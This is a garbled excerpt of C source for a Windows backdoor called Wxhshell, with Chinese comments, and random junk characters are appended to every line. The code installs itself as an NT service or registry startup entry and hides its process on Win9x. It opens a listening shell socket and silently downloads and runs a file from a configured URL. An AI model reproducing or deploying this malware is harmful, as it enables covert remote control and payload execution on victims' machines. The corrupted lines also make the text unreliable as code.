DWORD BasePriority; g#fn( A
ULONG UniqueProcessId; BbFLT@W4
ULONG InheritedFromUniqueProcessId; ,c&t#mu*0
} PROCESS_BASIC_INFORMATION; 8S#&XS>o
Jo8fMG\P
PROCNTQSIP NtQueryInformationProcess; G$_)X%Vb I
oFyB-vpYQV
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %qJgtu"8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9pi{)PDJ
_)LXD,LA
HANDLE hProcess; YG?4DF
PROCESS_BASIC_INFORMATION pbi; r25VcY
*EO*Gg0d
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V*?QZ;hCP
if(NULL == hInst ) return 0; 4TQmEM,
~U7Bo(EJp
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WJ8osWdLu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xIc||o$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lZkJ<*z#
7CSn79E
if (!NtQueryInformationProcess) return 0; /J"fbBXwY
;9#W#/B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O.Te"=^"F
if(!hProcess) return 0; OP= oSfa
2>.b~q@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S,|ZCl>+
S+Ia2O)BA
CloseHandle(hProcess); ( ,mV6U%
#u"@q< )
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2ER_?y
if(hProcess==NULL) return 0; KDf#e3
LH`$<p2''r
HMODULE hMod; U7fNA7#x"
char procName[255]; eC 2~&:$L
unsigned long cbNeeded; >X[:(m'
;X+.Ag
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mJ[_q>
Bn.R,B0PL
CloseHandle(hProcess); M/xm6
AfZGI'%4[a
if(strstr(procName,"services")) return 1; // 以服务启动 #5^OO ou|
xU{0rM"
return 0; // 注册表启动 2A*,9S|Y
} gQ{<2u
I"8Z'<|/\q
// 主模块 &{# 6Z
int StartWxhshell(LPSTR lpCmdLine) lR
F5/
{ _TJkYz$
SOCKET wsl; s/3sOb}sA
BOOL val=TRUE; ]A+t@/k
int port=0; Q?>*h xzoP
struct sockaddr_in door; P uQ
wT3D9N.
if(wscfg.ws_autoins) Install(); KB^GC5L>
#K` [XA
port=atoi(lpCmdLine); (KvN#d 1\
E+ XR[p
if(port<=0) port=wscfg.ws_port; z0Y L,
1?"Zrd
WSADATA data; }lq$Fi/
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,#^2t_c/
|1<B(iB'{/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l Ny<E!0
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +,i_G?eX
door.sin_family = AF_INET; .G<Or`K^i
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >r4BI}8SK<
door.sin_port = htons(port); <I?f=[
Un+- T
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XCez5Q1
closesocket(wsl); ZXbq5p_
return 1; @P=n{-pIW
} AGx(IK/_
Sl
\EPKZD
if(listen(wsl,2) == INVALID_SOCKET) { dJb7d`
closesocket(wsl); _jVJkg)]
return 1; a6d|Ps.\!
} ZxDh!_[s
Wxhshell(wsl); (f*r
WSACleanup(); t?;=\%^<
bDegIW/'w
return 0; e&mTaCLG
V Kc`mE
} #TgP:t]p
{D]I[7f8Ev
// 以NT服务方式启动 E*v+@rv
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nXh<+7
{ g)<[-Q1
DWORD status = 0; R^K:hKQ
DWORD specificError = 0xfffffff; On+0@hh
S;{[];
serviceStatus.dwServiceType = SERVICE_WIN32; K=P LOC5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; V* ,u;*
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L_=3`xE
_
serviceStatus.dwWin32ExitCode = 0; fKs3H?|
serviceStatus.dwServiceSpecificExitCode = 0; ?xE'i[F @
serviceStatus.dwCheckPoint = 0; #vR5a}BAk
serviceStatus.dwWaitHint = 0; JgldC[|7
n8&x=Z}Xs
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MR* %lZpB
if (hServiceStatusHandle==0) return; hSk
8ePzUc\#
status = GetLastError(); Mi[,-8Sk
if (status!=NO_ERROR) .n}k,da@(
{ Lo9
\[4FP
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]mi)x63^
serviceStatus.dwCheckPoint = 0; ^P*+0?aFr
serviceStatus.dwWaitHint = 0; 1a#R7chl
serviceStatus.dwWin32ExitCode = status; &([Gc+"5E.
serviceStatus.dwServiceSpecificExitCode = specificError; \@7 4I7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9:Z|Z?>?
return; Nw3IDy~T
} MV?sr[V-oP
1[".
z{V3*
serviceStatus.dwCurrentState = SERVICE_RUNNING; #XAH`L\
serviceStatus.dwCheckPoint = 0; 3^F1 hCB
serviceStatus.dwWaitHint = 0; 35SL*zS@-
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wq#'o9s,
} Dr#V^"Dte
\H/}|^+@
// 处理NT服务事件,比如:启动、停止 j1dz'G}hj
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]=%u\~AvL
{ p,2H8I){
switch(fdwControl) *18J$
{ }ev+WIERQV
case SERVICE_CONTROL_STOP: V8z*mnD
serviceStatus.dwWin32ExitCode = 0; 'i8?]`
T
serviceStatus.dwCurrentState = SERVICE_STOPPED; |Fzt|
\
serviceStatus.dwCheckPoint = 0; 2ZQ|nwb7
serviceStatus.dwWaitHint = 0; V5d|Lpm
{ l,E4h-$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +L}R|ihkI
} bKPjxN?!9
return; P6 mDwR
case SERVICE_CONTROL_PAUSE: $b"Ex>
serviceStatus.dwCurrentState = SERVICE_PAUSED; ev(E
break; 9QN(Wq@
case SERVICE_CONTROL_CONTINUE: :J6FI6
serviceStatus.dwCurrentState = SERVICE_RUNNING; %A;s3]V
break; 5ZHO+@HiFH
case SERVICE_CONTROL_INTERROGATE: iSj.lW
break; 7e<\11uI]a
}; eLop}*k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \1#!%I=.
} &}lRij&`
$
4A!Y
// 标准应用程序主函数 ig:z[k?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LfG$?<}hR
{ 5?gZw;yiv%
wHhIa3_v
// 获取操作系统版本 e#{l
OsIsNt=GetOsVer(); Z`bo1,6>
GetModuleFileName(NULL,ExeFile,MAX_PATH); *uZ'MS
<x1H:8A
// 从命令行安装 t)*A#
if(strpbrk(lpCmdLine,"iI")) Install(); T
^z Mm
.[X"+i\
// 下载执行文件 #+PfrS=
if(wscfg.ws_downexe) { |:d:uj/
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R{Qvpd$y
WinExec(wscfg.ws_filenam,SW_HIDE); i]n ?zWo_h
} ?anKSGfj
vpqMKyy
if(!OsIsNt) { d`4@aoM
// 如果时win9x,隐藏进程并且设置为注册表启动 >CPoeIHK
HideProc(); Z~Z+Yt;,9a
StartWxhshell(lpCmdLine); z`+j]NX]
} 6dX l ny1H
else p`LPO
if(StartFromService()) 3q0^7)m0
// 以服务方式启动 oq }Q2[.b
StartServiceCtrlDispatcher(DispatchTable); 834dsl+U
else
H!ISQ8{V
// 普通方式启动 0_5j(
StartWxhshell(lpCmdLine); ^5![tTJ
f Tc,"{
return 0; U?Icyn3q0
}